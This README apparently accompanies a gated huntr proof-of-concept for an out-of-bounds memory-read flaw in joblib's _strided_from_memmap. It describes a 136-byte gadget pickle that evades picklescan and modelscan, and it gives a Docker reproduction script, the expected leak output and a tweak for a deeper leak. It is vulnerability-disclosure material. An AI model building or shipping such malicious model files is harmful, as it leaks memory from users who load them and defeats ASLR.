heehee0219's picture
docs: README explaining gated PoC
e79fdca verified
|
Raw
History Blame Contribute Delete
3.07 kB
metadata
license: mit
tags:
  - security-poc
  - huntr-mfv
  - joblib
  - memory-disclosure

joblib-strided-memmap-poc

Demonstrator artifact for huntr MFV report β€” joblib _strided_from_memmap in joblib/_memmapping_reducer.py:241-280 calls numpy.lib.stride_tricks.as_strided(base, shape, strides) with attacker- controlled shape / strides from the pickle stream and no bounds check. When shape * stride > base.nbytes, the returned view dereferences process memory pages adjacent to the file-backed mmap region.

Bypasses picklescan + modelscan. Discloses heap chunk metadata, glibc pointers, env-var fragments, and PIE base β€” full ASLR defeat for the loader.

This repository is intentionally gated. Files are released only to protectai-bot (huntr triage) for verification.

Files

  • model.joblib β€” 136-byte gadget pickle. Holds an OOBLeak instance whose __reduce__ calls _strided_from_memmap with shape=(32,), strides=(256,), total_buffer_len=4096, and the absolute path /tmp/leak_backing.bin. picklescan and modelscan both report this file as clean.
  • leak_backing.bin β€” 4 KiB of 0xAA. Simulates a benign data file shipped alongside a model. Read in full and then OOB-traversed by the gadget.
  • build-poc.py β€” Optional. Re-builds model.joblib + /tmp/leak_backing.bin from scratch and runs the full picklescan / modelscan / joblib.load evidence chain. Use this if you want to verify the artifacts were not tampered with.

Reproduce locally (Docker)

docker run --rm -it -v "$PWD":/poc -w /poc python:3.12-slim bash -lc '
  pip install -q joblib==1.5.3 numpy picklescan modelscan && \
  cp leak_backing.bin /tmp/leak_backing.bin && \
  picklescan -p model.joblib && \
  modelscan -p model.joblib && \
  python -c "
import joblib
arr = joblib.load(\"model.joblib\")
data = bytes(arr)
file_bytes  = data[:16].hex()
oob_bytes   = data[16:].hex()
print(\"first 16 (file content, expect aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa):\", file_bytes)
print(\"last  16 (process memory, varies per run):\",                  oob_bytes)
import sys; sys.exit(0 if any(b != 0xAA for b in data[16:]) else 1)
"
'

Expected output (the second hex string varies per run β€” that is the proof):

Infected files: 0       # picklescan clean
No issues found! πŸŽ‰      # modelscan clean
first 16 (file content, expect aa...): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
last  16 (process memory, varies per run): 008090...                  # OOB leak

For the deeper variant that recovers ~240 OOB bytes per load (env-var strings and PIE pointers visible), edit build-poc.py to use shape=(256,) and strides=(256,) and re-run.

Affected: joblib 1.5.3 (PyPI latest, 2025-12-15) and joblib 1.6.dev0 (repo HEAD 5d1653a, 2026-03-03 β€” only intervening commit since 1.5.3 is a dependabot github-actions bump). Sink: joblib/_memmapping_reducer.py:241-280.

Distinct from CVE-2024-34997 (different file, class, sink, primitive class β€” RCE vs. info-disclosure). See huntr submission for the full writeup.